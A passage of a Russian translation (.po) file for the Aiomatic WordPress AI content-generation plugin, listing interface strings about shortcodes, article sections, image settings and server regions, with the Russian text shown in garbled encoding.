you can " #| "also use an optional parameter in the random_image and random_video " #| "shortcodes, which will add a percentage chance for the media to appear or " #| "not - example: %%random_video[keyword][60]%% - a video will appear in 60% " #| "of cases, in the rest of 40%, nothing will be returned by the shortcode - " #| "Update: nested shortcodes also supported (shortcodes generated by rules " #| "from other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%% - you can also use an optional parameter " "in the random_image and random_video shortcodes, which will add a percentage " "chance for the media to appear or not - example: %%random_video[keyword][60]" "%% - a video will appear in 60% of cases, in the rest of 40%, nothing will " "be returned by the shortcode - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Введите HTML-текÑÑ‚, который будет добавлÑÑ‚ÑŒÑÑ Ðº Ñгенерированному AI контенту " "в каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: " "%%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, " "%%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%%% - в шорткодах random_image и " "random_video можно также иÑпользовать необÑзательный параметр, который " "добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет - пример: " "%%random_video[keyword][60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных " "40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "шорткоды (шорткоды, Ñозданные по правилам из других плагинов). Ð’Ñ‹ также " "Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые Промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:431 res/aiomatic-single-list.php:3378 #: res/aiomatic-single-list.php:5936 res/aiomatic-youtube-list.php:440 #: res/aiomatic-youtube-list.php:2995 #, php-format msgid "" "Enter a list of post sections, one per line. These will be headings of the " "content. These can also be automatically generated by the plugin. To enable " "auto generating of sections, leave this field blank. This will set the value " "of the %%sections%% shortcode, which can be used in prompts below. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you set a section list here, each created article will have " "this same list of sections, because of this, use shortcodes or Spintax when " "defining these static topics or leave this field blank for the plugin to " "auto generate them!" msgstr "" "Введите ÑпиÑок Разделов ПоÑта, по одному в Ñтроке. Это будут Заголовки " "Контента. Они также могут быть автоматичеÑки Ñгенерированы Плагином. Чтобы " "включить автоматичеÑкое формирование Разделов, оÑтавьте Ñто поле пуÑтым. Это " "уÑтановит значение Шорткода %%sections%%, который можно иÑпользовать в " "Промптх ниже. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, " "определенные в функции «Создание ПользовательÑких Шорткодов» в ÐаÑтройках " "Правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные " "AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента. ЕÑли вы " "уÑтановите здеÑÑŒ ÑпиÑок Разделов, ÐºÐ°Ð¶Ð´Ð°Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð½Ð°Ñ Ð¡Ñ‚Ð°Ñ‚ÑŒÑ Ð±ÑƒÐ´ÐµÑ‚ иметь один и " "тот же ÑпиÑок Разделов, из-за Ñтого иÑпользуйте Шорткоды или Spintax при " "определенAI Ñтих СтатичеÑких Тем или оÑтавьте Ñто поле пуÑтым, чтобы Плагин " "автоматичеÑки генерировал их!" #: res/aiomatic-review-list.php:3095 res/aiomatic-rules-list.php:437 #: res/aiomatic-rules-list.php:3262 res/aiomatic-single-list.php:1390 #, php-format msgid "" "Enter a list of post sections, one per line. These will be headings of the " "content. These can also be automatically generated by the plugin. To enable " "auto generating of sections, leave this field blank. You can use here the " "%%topic%% shortcode, to get the value of the above topic, automtically. This " "will set the value of the %%sections%% shortcode, which can be used in " "prompts below. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators. If you set a section list here, each " "created article will have this same list of sections, because of this, use " "shortcodes or Spintax when defining these static topics or leave this field " "blank for the plugin to auto generate them!" msgstr "" "Введите ÑпиÑок разделов поÑта, по одному в Ñтроке. Это будут заголовки " "контента. Они также могут автоматичеÑки генерироватьÑÑ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼. Чтобы " "включить автоматичеÑкое Ñоздание разделов, оÑтавьте Ñто поле пуÑтым. Ð’Ñ‹ " "можете иÑпользовать здеÑÑŒ короткий код %%topic%%, чтобы автоматичеÑки " "получить значение вышеуказанной темы. Это уÑтановит значение короткого кода " "%%sections%%, который можно иÑпользовать в Промптах ниже. Ð’Ñ‹ также Ñможете " "иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. ЕÑли вы уÑтановите здеÑÑŒ ÑпиÑок " "разделов, ÐºÐ°Ð¶Ð´Ð°Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð½Ð°Ñ ÑÑ‚Ð°Ñ‚ÑŒÑ Ð±ÑƒÐ´ÐµÑ‚ иметь один и тот же ÑпиÑок разделов, " "поÑтому иÑпользуйте шорткоды или Spintax при определении Ñтих ÑтатичеÑких " "тем или оÑтавьте Ñто поле пуÑтым, чтобы плагин автоматичеÑки Ñгенерировал их!" #: res/aiomatic-amazon-list.php:1251 res/aiomatic-amazon-list.php:3791 #: res/aiomatic-csv-list.php:605 res/aiomatic-csv-list.php:1762 #: res/aiomatic-review-list.php:1320 res/aiomatic-review-list.php:3944 #: res/aiomatic-rules-list.php:1453 res/aiomatic-rules-list.php:4192 #: res/aiomatic-single-list.php:1260 res/aiomatic-single-list.php:2157 #: res/aiomatic-single-list.php:2892 res/aiomatic-single-list.php:4145 #: res/aiomatic-single-list.php:5459 res/aiomatic-single-list.php:6825 #: res/aiomatic-spinner-list.php:2129 res/aiomatic-youtube-list.php:1207 #: res/aiomatic-youtube-list.php:3702 msgid "Enter a manual list of links, where the plugin will create links." msgstr "Введите вручную ÑпиÑок ÑÑылок, и Плагин будет размещать ÑÑылки." #: res/aiomatic-chatbot.php:1507 res/aiomatic-chatbot.php:1515 #: res/aiomatic-chatbot.php:1524 res/aiomatic-chatbot.php:1525 #: res/aiomatic-chatbot.php:2741 res/aiomatic-chatbot.php:2749 #: res/aiomatic-chatbot.php:2758 res/aiomatic-chatbot.php:2759 #: res/aiomatic-spinner-list.php:2995 res/aiomatic-spinner-list.php:3003 #: res/aiomatic-spinner-list.php:3011 msgid "Enter API key in Main Settings to enable" msgstr "Введите ключ API в оÑновных наÑтройках, чтобы включить" #: res/aiomatic-amazon-list.php:460 res/aiomatic-single-list.php:4668 msgid "" "Enter the maximum number of products to include in the product roundup " "article. You can also enter number ranges like: 3-4" msgstr "" "Введите макÑимальное количеÑтво Продуктов Ð´Ð»Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð² Статью Ñ ÐžÐ±Ð·Ð¾Ñ€Ð¾Ð¼ " "Продуктов. Ð’Ñ‹ также можете ввеÑти диапазоны чиÑел, например: 3-4" #: res/aiomatic-amazon-list.php:3040 msgid "" "Enter the maximum number of products to include in the product roundup " "article. You can also enter number ranges, like: 2-4" msgstr "" "Введите макÑимальное количеÑтво Продуктов Ð´Ð»Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð² Статью Ñ ÐžÐ±Ð·Ð¾Ñ€Ð¾Ð¼ " "Продуктов. Ð’Ñ‹ также можете ввеÑти диапазоны чиÑел, например: 2-4" #: res/aiomatic-amazon-list.php:558 res/aiomatic-amazon-list.php:3188 #: res/aiomatic-review-list.php:485 res/aiomatic-review-list.php:3173 #: res/aiomatic-rules-list.php:491 res/aiomatic-rules-list.php:3340 #: res/aiomatic-single-list.php:1444 res/aiomatic-single-list.php:3432 #: res/aiomatic-single-list.php:4766 res/aiomatic-single-list.php:5990 #: res/aiomatic-youtube-list.php:494 res/aiomatic-youtube-list.php:3073 #, php-format msgid "" "Enter the number of paragraphs to create for each section. These will also " "be set as article headings. You can also set value ranges, example: 5-7. In " "this case, a random number will be selected in this range. Please use only " "numeric values in this field. This field will set the value of the " "%%paragraphs_per_section%% shortcode." msgstr "" "Введите количеÑтво абзацев, которые нужно Ñоздать Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ Раздела. Они " "также будут уÑтановлены в качеÑтве Заголовоков Статей. Ð’Ñ‹ также можете " "уÑтановить диапазоны значений, например: 5-7. Ð’ Ñтом Ñлучае в Ñтом диапазоне " "будет выбрано Ñлучайное чиÑло. ПожалуйÑта, иÑпользуйте только чиÑловые " "Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² Ñтом поле. Ð’ Ñтом поле будет уÑтановлено значение Шорткода " "%%paragraphs_per_section%%." #: res/aiomatic-review-list.php:446 res/aiomatic-review-list.php:3108 #: res/aiomatic-rules-list.php:452 res/aiomatic-rules-list.php:3275 #: res/aiomatic-single-list.php:1405 res/aiomatic-single-list.php:3393 #: res/aiomatic-single-list.php:5951 res/aiomatic-youtube-list.php:455 #: res/aiomatic-youtube-list.php:3008 #, php-format msgid "" "Enter the number of sections to create in the article. These will also be " "set as article headings. You can also set value ranges, example: 5-7. In " "this case, a random number will be selected in this range. Please use only " "numeric values in this field. This field will set the value of the " "%%sections_count%% shortcode." msgstr "" "Введите количеÑтво Разделов, которые нужно Ñоздать в Ñтатье. Они также будут " "уÑтановлены в качеÑтве Заголовоков Статей. Ð’Ñ‹ также можете уÑтановить " "диапазоны значений, например: 5-7. Ð’ Ñтом Ñлучае в Ñтом диапазоне будет " "выбрано Ñлучайное чиÑло. ПожалуйÑта, иÑпользуйте только чиÑловые Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² " "Ñтом поле. Ð’ Ñтом поле будет уÑтановлено значение Шорткода " "%%sections_count%%." #: res/aiomatic-training.php:159 msgid "Enter Your Data" msgstr "Введите Ñвои данные" #: aiomatic-automation.php:612 msgid "Entities Search Keywords" msgstr "Ключевые Слова Ð´Ð»Ñ ÐŸÐ¾Ð¸Ñка Объектов" #: res/aiomatic-main.php:1722 msgid "Envato Purchase Code" msgstr "Код покупки Envato" #: res/other/plugin-dash.php:44 res/other/plugin-dash.php:149 msgid "Error getting content: " msgstr "Ошибка при полученAI Контента:" #: res/aiomatic-amazon-list.php:65 res/aiomatic-review-list.php:65 #: res/aiomatic-rules-list.php:65 res/aiomatic-single-list.php:65 #: res/aiomatic-single-list.php:203 res/aiomatic-youtube-list.php:65 msgid "Esperanto" msgstr "ÑÑперанто" #: res/aiomatic-languages.php:65 msgid "Esperanto (Google Translate)" msgstr "ÐнглийÑкий (переводчик Google)" #: res/aiomatic-embeddings.php:104 msgid "Estimated" msgstr "Приблизительно" #: res/aiomatic-amazon-list.php:22 res/aiomatic-review-list.php:22 #: res/aiomatic-rules-list.php:22 res/aiomatic-single-list.php:22 #: res/aiomatic-single-list.php:160 res/aiomatic-youtube-list.php:22 msgid "Estonian" msgstr "ÑÑтонÑкий" #: res/aiomatic-languages.php:19 msgid "Estonian (Google Translate)" msgstr "ЭÑтонÑкий (переводчик Google)" #: res/aiomatic-main.php:4713 msgid "EU Central 1 (Amsterdam)" msgstr "ЕС Центральный 1 (ÐмÑтердам)" #: res/aiomatic-main.php:4611 msgid "EU Central 1 (Frankfurt)" msgstr "ЕС Центральный 1 (Франкфурт)" #: res/aiomatic-main.php:4714 msgid "EU central 2 (Frankfurt)" msgstr "Центральный блок ЕС 2 (Франкфурт)" #: res/aiomatic-main.php:4612 msgid "EU North 1 (Stockholm)" msgstr "ЕС Север 1 (Стокгольм)" #: res/aiomatic-main.php:4613 msgid "EU West 1 (Ireland)" msgstr "ЕС Запад 1 (ИрландиÑ)" #: res/aiomatic-main.php:4715 msgid "EU West 1 (London)" msgstr "ЕС Запад 1 (Лондон)" #: res/aiomatic-main.php:4614 msgid "EU West 2 (London)" msgstr "ЕС Запад 2 (Лондон)" #: res/aiomatic-main.php:4716 msgid "EU West 2 (Paris)" msgstr "ЕС Запад 2 (Париж)" #: res/aiomatic-main.php:4615 msgid "EU West 3 (Paris)" msgstr "ЕС Запад 3 (Париж)" #: res/aiomatic-training.php:533 msgid "Events" msgstr "СобытиÑ" #: res/aiomatic-amazon-list.php:116 res/aiomatic-review-list.php:116 #: res/aiomatic-rules-list.php:116 res/aiomatic-single-list.php:116 #: res/aiomatic-single-list.php:254 res/aiomatic-youtube-list.php:116 msgid "Ewe" msgstr "Эве" #: res/aiomatic-languages.php:117 msgid "Ewe (Google Translate)" msgstr "Эве (Google Переводчик)" #: res/aiomatic-main.php:9169 msgid "ex: 23,24,25" msgstr "пример: 23,24,25" #: res/aiomatic-shortcodes.php:159 msgid "Example 10:" msgstr "Пример 10:" #: res/aiomatic-shortcodes.php:160 msgid "Example 11:" msgstr "Пример 11:" #: res/aiomatic-shortcodes.php:161 msgid "Example 12:" msgstr "Пример 12:" #: res/aiomatic-shortcodes.php:162 msgid "Example 13:" msgstr "Пример 13:" #: res/aiomatic-shortcodes.php:163 msgid "Example 14:" msgstr "Пример 14:" #: res/aiomatic-shortcodes.php:164 msgid "Example 15:" msgstr "Пример 15:" #: res/aiomatic-shortcodes.php:165 msgid "Example 16:" msgstr "Пример 16:" #: res/aiomatic-shortcodes.php:166 msgid "Example 17:" msgstr "Пример 17:" #: res/aiomatic-shortcodes.php:167 msgid "Example 18:" msgstr "Пример 18:" #: res/aiomatic-shortcodes.php:151 msgid "Example 2:" msgstr "Пример 2:" #: res/aiomatic-shortcodes.php:152 msgid "Example 3:" msgstr "Пример 3:" #: res/aiomatic-shortcodes.php:153 msgid "Example 4:" msgstr "Пример 4:" #: res/aiomatic-shortcodes.php:154 msgid "Example 5:" msgstr "Пример 5:" #: res/aiomatic-shortcodes.php:155 msgid "Example 6:" msgstr "Пример 6:" #: res/aiomatic-shortcodes.php:156 msgid "Example 7:" msgstr "Пример 7:" #: res/aiomatic-shortcodes.php:157 msgid "Example 8:" msgstr "Пример: 8" #: res/aiomatic-shortcodes.php:158 msgid "Example 9:" msgstr "Пример 9:" #: res/aiomatic-shortcodes.php:150 res/aiomatic-spinner-list.php:4250 msgid "Example:" msgstr "Пример:" #: aiomatic-automation.php:407 msgid "Example: B07RZ74VLR" msgstr "Пример: B07RZ74VLR" #: aiomatic-automation.php:438 aiomatic-automation.php:614 msgid "Example: dog food" msgstr "Пример: корм Ð´Ð»Ñ Ñобак." #: res/aiomatic-spinner-list.php:4020 msgid "Excepting This Comma Separated List Of Custom Post Types:" msgstr "" "За иÑключением Ñтого ÑпиÑка пользовательÑких Типов ПоÑтов, Разделенных " "запÑтыми:" #: res/aiomatic-single-list.php:913 res/aiomatic-training.php:319 msgid "Excerpt" msgstr "ÐнонÑ" #: res/aiomatic-amazon-list.php:3591 res/aiomatic-review-list.php:3787 #: res/aiomatic-rules-list.php:3808 res/aiomatic-youtube-list.php:3545 msgid "Excerpt Prompt" msgstr "Выдержка из Промпты" #: res/aiomatic-amazon-list.php:1050 res/aiomatic-review-list.php:1158 #: res/aiomatic-rules-list.php:1042 res/aiomatic-single-list.php:1995 #: res/aiomatic-single-list.php:3983 res/aiomatic-single-list.php:5258 #: res/aiomatic-single-list.php:6663 res/aiomatic-youtube-list.php:1045 msgid "Excerpt Prompt:" msgstr "Промпт ÐнонÑа ПоÑта:" #: res/aiomatic-main.php:4548 msgid "" "Exciting news for Aiomatic plugin users: You can now store royalty-free or " "AI-generated images in Amazon S3 with Aiomatic's new extension! Get it here: " msgstr "" "Захватывающие новоÑти Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹ плагина Aiomatic: теперь вы можете " "хранить беÑплатные или Ñозданные иÑкуÑÑтвенным интеллектом Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð² " "Amazon S3 Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ нового раÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ Aiomatic! Получи Ñто здеÑÑŒ:" #: res/aiomatic-main.php:6270 msgid "Excluded Word List (For Built-In Spinner Only):" msgstr "СпиÑок ИÑключенных Слов (только Ð´Ð»Ñ Ð²Ñтроенного Ñчетчика):" #: res/aiomatic-spinner-list.php:35 msgid "Existing Content Editor" msgstr "Редактор Контента СущеÑтвующих ПоÑтов " #: res/aiomatic-spinner-list.php:4093 msgid "Existing Content Editor:" msgstr "Редактор Контента СущеÑтвующих ПоÑтов:" #: res/aiomatic-main.php:5385 msgid "Existing Taxonomy AI Description Writer:" msgstr "СущеÑтвующий AI Создатель ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономии :" #: aiomatic-shortcodes-file.php:4694 aiomatic-shortcodes-file.php:6480 msgid "Export Chat Conversation Text File" msgstr "ЭкÑпортировать текÑтовый файл беÑеды чата" #: res/aiomatic-single-list.php:441 msgid "Express Content Templates" msgstr "Шаблоны ÑкÑпреÑÑ-контента" #: res/aiomatic-single-list.php:288 msgid "Express Mode" msgstr "ЭкÑпреÑÑ-режим" #: res/aiomatic-extensions.php:7 msgid "Extend your " msgstr "РаÑширьте Ñвой" #: res/aiomatic-chatbot.php:635 res/aiomatic-extensions.php:5 msgid "Extensions" msgstr "РаÑширениÑ" #: res/aiomatic-spinner-list.php:4161 msgid "External Cron Job" msgstr "Внешний Cron Job" #: res/aiomatic-spinner-list.php:3811 msgid "Extra Features:" msgstr "Дополнительные функции" #: aiomatic-helpers.php:408 msgid "F-omatic Post Generator" msgstr "Генератор ПоÑтов F-omatic" #: aiomatic-automation.php:753 msgid "Facebook Post Link" msgstr "СÑылка на публикацию в Facebook" #: aiomatic-automation.php:746 msgid "Facebook Post Template" msgstr "Шаблон ПоÑта Facebook" #: res/aiomatic-amazon-list.php:2401 res/aiomatic-automation-list.php:4963 #: res/aiomatic-csv-list.php:948 res/aiomatic-review-list.php:2470 #: res/aiomatic-rules-list.php:2598 res/aiomatic-youtube-list.php:2372 msgid "Failed" msgstr "Произошла ошибка" #: aiomatic-automatic-ai-content-writer.php:12820 #: res/aiomatic-automation-list.php:5401 msgid "Failed to decode OmniBlocks data!" msgstr "Ðе удалоÑÑŒ декодировать данные OmniBlocks!" #: aiomatic-automatic-ai-content-writer.php:12842 #: res/aiomatic-automation-list.php:5423 msgid "Failed to decode saved blocks data!" msgstr "Ðе удалоÑÑŒ декодировать данные Ñохраненных блоков!" #: res/aiomatic-chatbot.php:1574 res/aiomatic-chatbot.php:1596 #: res/aiomatic-chatbot.php:3087 res/aiomatic-chatbot.php:3379 #: res/aiomatic-spinner-list.php:3307 res/aiomatic-spinner-list.php:3599 msgid "Failed to list voices!" msgstr "Ðе удалоÑÑŒ добавить голоÑа!" #: aiomatic-ajax-actions.php:4990 msgid "Failed to upload and process file" msgstr "Ðе удалоÑÑŒ загрузить и обработать файл" #: res/aiomatic-main.php:2791 msgid "fantasy-art" msgstr "Ñ„Ñнтези-арт" #: res/other/plugin-dash.php:91 msgid "FAQ" msgstr "ЧЗВ" #: res/aiomatic-main.php:8339 res/aiomatic-main.php:8858 msgid "Fashion" msgstr "Мода" #: res/aiomatic-main.php:2701 msgid "FAST_BLUE" msgstr "FAST_BLUE" #: res/aiomatic-main.php:2706 msgid "FAST_GREEN" msgstr "FAST_GREEN" #: res/aiomatic-training.php:56 msgid "feature of the plugin" msgstr "оÑобенноÑÑ‚ÑŒ Плагина" #: res/aiomatic-embeddings.php:48 msgid "feature of the plugin." msgstr "оÑобенноÑÑ‚ÑŒ Плагина." #: aiomatic-helpers.php:1472 res/aiomatic-amazon-list.php:489 #: res/aiomatic-amazon-list.php:3086 res/aiomatic-single-list.php:4697 msgid "Featured" msgstr "Избранное" #: aiomatic-automation.php:1213 res/aiomatic-single-list.php:624 #: res/aiomatic-single-list.php:7410 msgid "Featured Image" msgstr "ОÑновное изображение" #: res/aiomatic-spinner-list.php:1555 msgid "Featured Image Editing Engine:" msgstr "Рекомендуемый Механизм Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹:" #: res/aiomatic-main.php:7522 msgid "Featured Image Resize Height:" msgstr "Ð’Ñ‹Ñота Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° избранного изображениÑ:" #: res/aiomatic-main.php:7541 msgid "Featured Image Resize Quality:" msgstr "Рекомендуемое качеÑтво Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° изображениÑ:" #: res/aiomatic-main.php:7503 msgid "Featured Image Resize Width:" msgstr "Ширина Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ð°Ð·Ð¼ÐµÑ€Ð° рекомендуемого изображениÑ:" #: res/aiomatic-spinner-list.php:1377 msgid "Featured Image Source:" msgstr "Рекомендуемый иÑточник изображениÑ:" #: res/aiomatic-embeddings.php:603 res/aiomatic-spinner-list.php:4651 msgid "Featured Image Status:" msgstr "Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ изображениÑ:" #: res/aiomatic-main.php:1617 msgid "Feel free to join our Discord community" msgstr "Ðе ÑтеÑнÑйтеÑÑŒ приÑоединитьÑÑ Ðº нашему ÑообщеÑтву Discord" #: res/aiomatic-main.php:8369 res/aiomatic-main.php:8888 msgid "Feelings" msgstr "ЧувÑтва" #: aiomatic-ajax-actions.php:7886 res/aiomatic-shortcodes.php:51 msgid "Field Type*" msgstr "Тип ПолÑ*" #: aiomatic-automation.php:710 msgid "File Content Template" msgstr "Шаблон контента файла" #: aiomatic-automation.php:723 msgid "File Location" msgstr "МеÑтоположение файла" #: aiomatic-ajax-actions.php:4841 aiomatic-ajax-actions.php:4954 msgid "File size exceeds maximum limit." msgstr "Размер файла превышает макÑимальный предел." #: aiomatic-automation.php:595 msgid "File To Load" msgstr "Файл Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸" #: aiomatic-automation.php:717 msgid "File Type" msgstr "Тип файла" #: res/aiomatic-training.php:134 msgid "File uploaded successfully you can view it in Datasets tab." msgstr "" "Файл уÑпешно загружен, вы можете проÑмотреть его на вкладке «Ðаборы Данных»." #: res/aiomatic-assistants.php:297 msgid "" "File uploaded successfully you can view it in the assistant listing tab." msgstr "" "Файл уÑпешно загружен, вы можете проÑмотреть его на вкладке ÑпиÑка " "аÑÑиÑтентов." #: res/aiomatic-shortcodes.php:423 msgid "File uploaded successfully you can view it in the form listing tab." msgstr "" "Файл уÑпешно загружен, вы можете проÑмотреть его на вкладке ÑпиÑка форм." #: res/aiomatic-automation-list.php:2107 msgid "" "File uploaded successfully you can view it in the OmniBlock Templates " "listing tab." msgstr "" "Файл уÑпешно загружен, вы можете проÑмотреть его на вкладке ÑпиÑка шаблонов " "OmniBlock." #: res/aiomatic-chatbot.php:5617 msgid "File uploaded successfully you can view it in the persona listing tab." msgstr "" "Файл уÑпешно загружен, вы можете проÑмотреть его на вкладке ÑпиÑка перÑон." #: res/aiomatic-assistants.php:87 msgid "File uploaded successfully!" msgstr "Файл уÑпешно загружен!" #: res/aiomatic-embeddings.php:168 msgid "File uploaded successfully." msgstr "Файл уÑпешно загружен." #: res/aiomatic-assistants.php:119 res/aiomatic-training.php:341 #: res/aiomatic-training.php:428 msgid "Filename" msgstr "Ð˜Ð¼Ñ Ð¤Ð°Ð¹Ð»Ð°" #: res/aiomatic-amazon-list.php:23 res/aiomatic-review-list.php:23 #: res/aiomatic-rules-list.php:23 res/aiomatic-single-list.php:23 #: res/aiomatic-single-list.php:161 res/aiomatic-youtube-list.php:23 msgid "Filipino" msgstr "ФилипинÑкий " #: res/aiomatic-languages.php:20 msgid "Filipino (Google Translate)" msgstr "ФилиппинÑкий (переводчик Google)" #: res/aiomatic-automation-list.php:4586 res/aiomatic-automation-list.php:7321 msgid "Filter displayed OmniBlock Templates by Category." msgstr "Отфильтруйте отображаемые шаблоны OmniBlock по категориÑм." #: res/aiomatic-main.php:8515 msgid "Filter Language: " msgstr "Язык фильтра: " #: res/aiomatic-automation-list.php:4583 res/aiomatic-automation-list.php:7318 msgid "Filter OmniBlock Templates By Category:" msgstr "Фильтровать шаблоны OmniBlock по категориÑм:" #: res/aiomatic-main.php:8322 res/aiomatic-main.php:8841 msgid "Filter results by image category." msgstr "Фильтровать результаты по категориÑм изображений." #: res/aiomatic-main.php:8779 msgid "Filter results by image orientation." msgstr "Фильтруйте результаты по ориентацAI изображениÑ." #: res/aiomatic-main.php:8261 res/aiomatic-main.php:8743 msgid "Filter results by image type." msgstr "Фильтруйте результаты по Типу изображениÑ." #: res/aiomatic-training.php:215 msgid "Fine-Tune" msgstr "Ð¢Ð¾Ð½ÐºÐ°Ñ ÐаÑтройка" #: res/aiomatic-training.php:510 msgid "Fine-tune Model" msgstr "Ð¢Ð¾Ñ‡Ð½Ð°Ñ ÐаÑтройка Модели" #: res/aiomatic-training.php:496 msgid "Fine-tunes" msgstr "Ð¢Ð¾Ð½ÐºÐ°Ñ ÐаÑтройка" #: res/aiomatic-training.php:53 msgid "" "Fine-tuning in GPT-3 is the process of adjusting a specific AI model and its " "parameters to better suit a specific task. This can be done by providing GPT-" "3 with a data set that is tailored to the task you need. For example, if you " "want to create a chatbot which replies similar to questions similar to Rick, " "from \"Rick and Morty\", this feature is what you need." msgstr "" "Ð¢Ð¾Ð½ÐºÐ°Ñ Ð½Ð°Ñтройка в GPT-3 — Ñто процеÑÑ ÐаÑтройки конкретной Модели AI и ее " "Параметров Ð´Ð»Ñ Ð»ÑƒÑ‡ÑˆÐµÐ³Ð¾ ÑоответÑÑ‚Ð²Ð¸Ñ ÐºÐ¾Ð½ÐºÑ€ÐµÑ‚Ð½Ð¾Ð¹ задаче. Это можно Ñделать, " "предоÑтавив GPT-3 набор данных, адаптированный к нужной вам задаче. Ðапример," " еÑли вы хотите Ñоздать чат-бота, который отвечает на вопроÑÑ‹, похожие на " "Рика из «Рика и Морти», Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ â€” то, что вам нужно." #: res/aiomatic-main.php:8603 msgid "Finish" msgstr "Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ" #: res/aiomatic-amazon-list.php:24 res/aiomatic-review-list.php:24 #: res/aiomatic-rules-list.php:24 res/aiomatic-single-list.php:24 #: res/aiomatic-single-list.php:162 res/aiomatic-youtube-list.php:24 msgid "Finnish" msgstr "ФинÑкий" #: res/aiomatic-languages.php:21 msgid "Finnish (Google Translate)" msgstr "ФинÑкий (переводчик Google)" #: res/aiomatic-main.php:9006 #, php-format msgid "First List of Possible Sentences (%%random_sentence%%):" msgstr "Первый ÑпиÑок возможных предложений (%%random_sentence%%):" #: res/aiomatic-amazon-list.php:2378 res/aiomatic-automation-list.php:4941 #: res/aiomatic-csv-list.php:925 res/aiomatic-review-list.php:2447 #: res/aiomatic-rules-list.php:2576 res/aiomatic-youtube-list.php:2349 msgid "First Page" msgstr "ÐŸÐµÑ€Ð²Ð°Ñ Ñтраница" #: res/aiomatic-review-list.php:834 res/aiomatic-review-list.php:3420 #: res/aiomatic-single-list.php:6339 msgid "First Person Plural (we, us, our, ours)" msgstr "ÐŸÐµÑ€Ð²Ð°Ñ ÐŸÐµÑ€Ñона множеÑтвенного чиÑла (мы, мы, наш, наш)" #: res/aiomatic-review-list.php:833 res/aiomatic-review-list.php:3415 #: res/aiomatic-single-list.php:6338 msgid "First Person Singular (I, me, 